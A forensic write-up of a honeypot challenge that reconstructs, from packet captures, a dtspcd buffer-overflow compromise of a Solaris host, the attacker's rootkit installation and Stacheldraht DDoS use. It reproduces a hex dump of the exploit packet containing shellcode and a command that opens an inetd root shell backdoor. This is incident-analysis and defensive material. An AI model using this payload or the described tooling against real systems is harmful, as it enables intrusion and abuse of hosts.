This month's challenge is to analyze a successful compromise and the attacker's actions after it.
Skill Level: Intermediate
Questions
My analysis was done on OpenBSD. The primary tools I used were Ethereal, snort v2.0.0 and tcpdump.
After downloading the log files, I verified the md5 checksums and unzipped them into an analysis directory.
I wanted to get a general sense of what was going on without the aid of other analysis tools.
One thing that leaped out in day3.log was the use of ipv6. Snort does not currently decode ipv6.
However, I know that ipv6 will be included in production very soon.
I have a little more on this in the questions section.
I ran snort with all rules enabled against the log files and dumped the alerts and snort packet dump into separate logging directories.
snort –r ./day1.log –bA full –c ../etc/snort.conf –l ./log1
Contents of top_alerts (day1):
The SHELLCODE sparc NOOP alert looked very promising.
cd ./log1
I wanted to take a quick look at day1.log to confirm that this exploit was used.
cd ../
The next step was to see the top alerts for day3.
Contents of ./log3/top_alerts(day3):
The number of packets from handler to agent as well as the shaft flood alert indicated that the honeypot
was being used in ddos attacks. The alerts for the non-RFC 793 compliant (out-of-spec) packets
such as the xmas,syn-fin and nmap xmas helped to support this. Also, when investigating the DDOS attacks with Ethereal,
there were several packets that had null flags. I isolated them with a simple display filter (tcp.flags==0).
NOTE:
1. What is the operating system of the honeypot? How did you determine that?
I was able to confirm the victim os as SunOS 5.8. 2. How did the attacker(s) break into the system? (see day1)
The attack is contained in packets 561-594
Partial contents of attack_dmp1 (tcpdump -Xnr day1.log port 6112 > attack_dmp1)
***** [Snip most of NOP slide for brevity] *****
04c0: 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@.
The initial connection from the attacker was in packet 561. A syn packet was sent to the honeypot on port 6112.
The response from the honeypot was syn ack indicating an open port. The attacker completed the connection setup and began the exploit.
In packets 564 and 565, the attacker was probing port 1524 to see if there was a pre-existing backdoor.
It is very clear that the attacker broke into the honeypot using a dstpcd exploit.
An effective dstpcd exploit works by sending a large client request during negotiation.
This exploit is possible because there is inadequate input validation on the client input.
The result is a buffer overflow often with root privileges. The common exploit, such as the one contained in this exercise,
rides a NOP slide into the exploit code. The NOP slide is used to greatly increase the attacker’s chances of success.
By prepending the exploit code with NOPs, the instruction pointer will ‘slide’ through the NOPs until entering the exploit code and running it.
If this were not included, the attacker would have to guess the return value to the exploit code. If unsuccessful,
the attacker would face a crashed process that would probably be a denial of service attack at best.
For more information regarding buffer-overflows, please refer to the now classic paper by Aleph One titled Smashing The Stack For Fun And Profit.
Once a successful attack is completed against dstpcd, a backdoor is created on the victim. It is bound to port 1524. This explains why the attacker probed port 1524 at the same time he was exploiting dstpcd on port 6112. Beginning at packet 588 the attacker connects to 1524 where there is a backdoor shell and begins to setup shop.
The attacker looked at the system information and got the process id of the backdoor (pid 1773).
He created a hidden directory (.old) in /usr/share/man/man1/
Then the attacker looked for wget to download various tools (packets 602-605).
Because wget was not on this system, the attacker used ftp to transfer some tools from 62.211.66.16.
Packets of note during ftp session:
It is apparent that this was not an automated attack. During the ftp session, bobzz typed iupv6sun in packet 983 and had to correct it.
After downloading his basic tools, bobzz used wget to download sol.tar.gz(rootkit) from 62.211.66.16
After uncompressing the rootkit, he entered the sol dir and ran its setup.
The system was now completely compromised.
Reference CERT (CA-2001-31)
Reference: CAN-2001-08031
3. Which systems were used in this attack, and how?(see day1)
My understanding is that this question is only limiting the attack to the dstpcd exploit, connection to the backdoor and subsequent downloading of tools and patches. I have not included discussion of the DDOSing of other hosts and irc activity from day 3.
There were not many systems used in the attack of the honeypot. The attack came from 61.219.90.180 in the form of a dtspcd exploit. After successfully exploiting this service, the attacker connected to port 1524 where there was a backdoor waiting. The attacker then used the honeypot to download various tools to complete the compromise. The tools were downloaded via ftp and http from host 62.211.66.16.
4. Create a diagram that demonstrates the sequences involved in the attack. (see day1)
Attacker(61.219.90.180) --> Honeypot(192.168.100.28:6112)
Attacker(61.219.90.180) --> Honeypot(192.168.100.28:1524)
Honeypot(192.168.100.28) --> ftpserver(62.211.66.16)
Honeypot(192.168.100.28) --> httpserver(62.211.66.16)
Honeypot(192.168.100.28) --> Sun ftp server(192.18.99.122)
5. What is the purpose/reason of the ICMP packets with 'skillz' in them? (see day1)
This is characteristic of Stacheldraht DDOS agents. These are heartbeat packets between the DDOS agent and its handlers.
The packets tell the handler that the agent is ready and there is viable path between them.
The agents and handlers communicate via ICMP echo-reply packets. The commands are within the icmp id field.
The agent will set the icmp id to 0x1a0a (6666) with a payload that includes ‘skillz’.
The handler will also use the icmp id field for commands. The normal reply from the handler contains an id of 0x1a0b (6667) and a payload that includes ‘ficken’.
An attack, such as the havoc and syn floods used in day3.log, is sent with icmp ids of 0x26ce (9934) and 0x2335 (9013) respectively.
The payload contains the ip address of the target. DDOS attacks were launched against 195.130.233.20, 205.177.13.231 and 192.114.144.52 in day3.log.
To stop the attack, the handler sends an icmp id of 0x2377 (9015) and a payload which contains ‘niggahbitch’.
Basic information on Stacheldraht came from David Dittrich’s paper, The "stacheldraht" distributed denial of service attack tool.
http://staff.washington.edu/dittrich/misc/stacheldraht.analysis
I got some of the icmp id codes for Stacheldraht from the article, New Variants of Trinity and Stacheldraht DDoS, on the CIAC website.
http://www.ciac.org/ciac/bulletins/k-072.shtml
6. Following the attack, the attacker(s) enabled a unique protocol that one would not expect to find on a n IPv4 network. Can you identify that protocol and why it was used? (see day3)
The attacker used IPv6. The attacker probably chose to use IPv6 because it is not decoded properly or at all by most IDSes.
This can have the effect of blinding the ids to the traffic.
The attacker encapsulates the IPv6 traffic in an IPv4 packet.
The protocol field in the IPv4 packet is 0x29 (IPv6).
Side Note:
On day3 80.117.14.22 connects to the irc bouncer on port 7000 and adds this server’s ipv6 address (2001:750:2:0:202:a5ff:fef0:aac7) in packet 117605 to user ahaa.
7. Can you identify the nationality of the attacker? (see day3)
The attacker used a computer from Italy to download his tools (62.211.66.16). The attacker connects to the
IRC bouncer on day 3 from address 80.117.14.22. The attacker also connected to the backdoor sshd on port 5001 from address 62.101.108.86
These addresses are allocated to RIPE/Italy
Also, because the attacker used Italian to chat in the IRC channel (day3), I would guess that the attacker is Italian.
Bonus Question:
8. What are the implications of using the unusual IP protocol to the Intrusion Detection industry?
Because most IDSes do not currently decode IPv6, this can act as a covert communication channel.
It will be encapsulated in an IPv4 packet and can be routed anywhere.
9. What tools exist that can decode this protocol?
Ethereal and tcpdump can decode IPv6.
Bonus Question:
-----------------------------------------------------------------------------------------
snort –r ./day3.log –bA full –c ../etc/snort.conf –l ./log3
cat ./log1/alert | grep ‘\[\*\*\]’ | sort | uniq –c | sort –r > ./log1/top_alerts
cat ./log3/alert | grep ‘\[\*\*\]’ | sort | uniq –c | sort –r > ./log3/top_alerts
less ./log1/top_alerts
1692 [**] [1:1855:2] DDOS Stacheldraht agent->handler (skillz) [**]
210 [**] [1:408:4] ICMP Echo Reply [**]
201 [**] [1:368:4] ICMP PING BSDtype [**]
10 [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**]
9 [**] [1:384:4] ICMP PING [**]
9 [**] [116:56:1] (snort_decoder): T/TCP Detected [**]
5 [**] [1:524:5] BAD TRAFFIC tcp port 0 traffic [**]
4 [**] [1:620:2] SCAN Proxy (8080) attempt [**]
4 [**] [1:618:2] SCAN Squid Proxy attempt [**]
1 [**] [1:645:3] SHELLCODE sparc NOOP [**]
1 [**] [1:615:3] SCAN SOCKS Proxy attempt [**]
1 [**] [1:1790:2] CHAT IRC dns response [**]
less ./alert
searched in less:
/SHELLCODE sparc
Result:
[**] [1:645:3] SHELLCODE sparc NOOP [**]
[Classification: Executable code was detected] [Priority: 1]
11/29-11:36:26.503382 61.219.90.180:56711 ->192.168.100.28:6112
TCP TTL:44 TOS:0x0 ID:61373 IpLen:20 DgmLen:1500 DF
**A*** Seq: 0x7FC1DB88 Ack: 0xBA41EB06 Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 48510034 113867474
[Xref => http://www.whitehats.com/info/IDS353]
tcpdump -Xnr day1.log port 6112 > attack_dmp1
less ./attack_dmp1
Partial contents of attack_dmp1 are listed in question 2 below.
less ./log3/top_alerts
79008 [**] [1:241:2] DDOS shaft synflood [**]
2218 [**] [1:384:4] ICMP PING [**]
1796 [**] [1:1855:2] DDOS Stacheldraht agent->handler (skillz) [**]
1198 [**] [1:449:4] ICMP Time-To-Live Exceeded in Transit [**]
748 [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**]
662 [**] [1:404:4] ICMP Destination Unreachable (Protocol Unreachable) [**]
287 [**] [1:1854:2] DDOS Stacheldraht handler->agent (niggahbitch) [**]
278 [**] [1:408:4] ICMP Echo Reply [**]
277 [**] [1:1856:2] DDOS Stacheldraht handler->agent (ficken) [**]
89 [**] [1:368:4] ICMP PING BSDtype [**]
38 [**] [1:399:4] ICMP Destination Unreachable (Host Unreachable) [**]
20 [**] [1:625:1] SCAN XMAS [**]
19 [**] [1:624:1] SCAN SYN FIN [**]
8 [**] [1:621:1] SCAN FIN [**]
5 [**] [1:1228:1] SCAN nmap XMAS [**]
1 [**] [1:485:2] ICMP Destination Unreachable (Communication Administratively Prohibited) [**]
1 [**] [1:1790:2] CHAT IRC dns response [**]
1 [**] [1:1394:3] SHELLCODE x86 NOOP [**]
1 [**] [1:1257:4] DOS Winnuke attack [**]
1 [**] [116:56:1] (snort_decoder): T/TCP Detected [**]
On many of the tcp connections, I used Ethereal’s tcp stream following.
This presents a great view into what is going on between the systems.
Also, I used the display colorization to make certain communication sequences stand out.
Filters used for colorization:
Attack(red) tcp.port==6112
Backdoor(green) tcp.port==1524
Irc6667(blue) tcp.port==6667
Ircbouncer(magenta) tcp.port==7000
ftp_ctl(purple) tcp.port==21
http(orange) tcp.port==80
In packet 571 the honeypot identifies its os.
In packet 598 the uname command returns: SunOS zoberius 5.8 Generic_108528-09 sun4u sparc SUNW, Ultra-5_10
The attacker used Sun’s ipv6 implementation (day3)
The rootkit used is for a Sun. (sol.tar.gz)
SunOS patches were applied to the victim.
Packet 580
11:36:26.503382 61.219.90.180.56711 > 192.168.100.28.6112: . 2143411080:2143412528(1448) ack 3124882182 win 5840 <nop,nop,timestamp 48510034 113867474> (DF)
0000: 4500 05dc efbd 4000 2c06 10ba 3ddb 5ab4 E..Üï½@.,..º=ÛZ´
0010: c0a8 641c dd87 17e0 7fc1 db88 ba41 eb06 À¨d.Ý..à.ÁÛ.ºAë.
0020: 8010 16d0 615f 0000 0101 080a 02e4 3452 ...Ða_.......ä4R
0030: 06c9 7ad2 3030 3030 3030 3032 3034 3130 .ÉzÒ000000020410
0040: 3365 3030 3033 2020 3420 0000 0031 3000 3e0003 4 ...10.
0050: 801c 4011 801c 4011 1080 0101 801c 4011 ..@...@.......@.
0060: 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@.
0070: 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@.
0080: 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@.
0090: 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@.
00a0: 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@.
00b0: 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@.
00c0: 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@.
04d0: 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@.
04e0: 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@.
04f0: 20bf ffff 20bf ffff 7fff ffff 9003 e034 ¿ÿÿ ¿ÿÿ.ÿÿÿ..à4
0500: 9223 e020 a202 200c a402 2010 c02a 2008 .#à ¢. .¤. .À* .
0510: c02a 200e d023 ffe0 e223 ffe4 e423 ffe8 À* .Ð#ÿàâ#ÿää#ÿè
0520: c023 ffec 8210 200b 91d0 2008 2f62 696e À#ÿì.. ..Ð ./bin
0530: 2f6b 7368 2020 2020 2d63 2020 6563 686f /ksh -c echo
0540: 2022 696e 6772 6573 6c6f 636b 2073 7472 "ingreslock str
0550: 6561 6d20 7463 7020 6e6f 7761 6974 2072 eam tcp nowait r
0560: 6f6f 7420 2f62 696e 2f73 6820 7368 202d oot /bin/sh sh -
0570: 6922 3e2f 746d 702f 783b 2f75 7372 2f73 i">/tmp/x;/usr/s
0580: 6269 6e2f 696e 6574 6420 2d73 202f 746d bin/inetd -s /tm
0590: 702f 783b 736c 6565 7020 3130 3b2f 6269 p/x;sleep 10;/bi
05a0: 6e2f 726d 202d 6620 2f74 6d70 2f78 2041 n/rm -f /tmp/x A
05b0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
05c0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
05d0: 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAA
627 USER bobzz
638 PASS joka
648 RETR wget
826 RETR dlp
843 RETR solbnc
994 RETR ipv6sun
1010 QUIT
The rootkit:
(Packets) Action
(5351-5356) Ran a logcleaner
(5366-5369) Set up a backdoor password (mixer)
(5371-5376) Installed a SSHd (port 5001)
(5376-5379) Started an IRC bouncer (port 7000)
(5385-5434) Trojaned several programs on the victim
(5558-8307 Downloaded and patched the victim (108949-07 and 111606) so that no one else can re-exploit this system
(8336-8344) Re-ran a logcleaner
During client negotiation, dtspcd accepts a length value and subsequent data from the client without performing adequate input validation. As a result, a malicious client can manipulate data sent to dtspcd and cause a buffer overflow, potentially executing code with root privileges.
http://www.cert.org/advisories/CA-2001-31.html
Description:
Buffer overflow in the client connection routine of libDtSvc.so.1 in CDE Subprocess Control Service (dtspcd) allows remote attackers to execute arbitrary commands
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0803
Executes dstpcd exploit
Backdoor is bound to 1524 of Honeypot
Begins ftp download of tools
Uses wget to download sol.tar.gz (rootkit)
Downloads patches to close vulnerability with dtspcd and an ftpd issue
If one does not use IPv6 on their network, it is a good idea to create a rule which alerts to 0x29 in the IPv4 protocol field.
You may also want to include rules for IPv6 ICMP etc. With snort you can use the keyword ip_proto.
There are many ways to write these rules to alert or log when this happens.
With OpenBSD’s pf you can just add a rule to pf.conf to block and log all inbound and outbound IPv6 traffic using the inet6 parameter for your <af> value.
Tcpdump can also be used to listen and log ipv6 traffic.
In packet 117623 user ahaa successfully connects to the honeypot’s irc server via ipv6.
The Snort team is testing a decoder for IPv6 and it should be in production soon.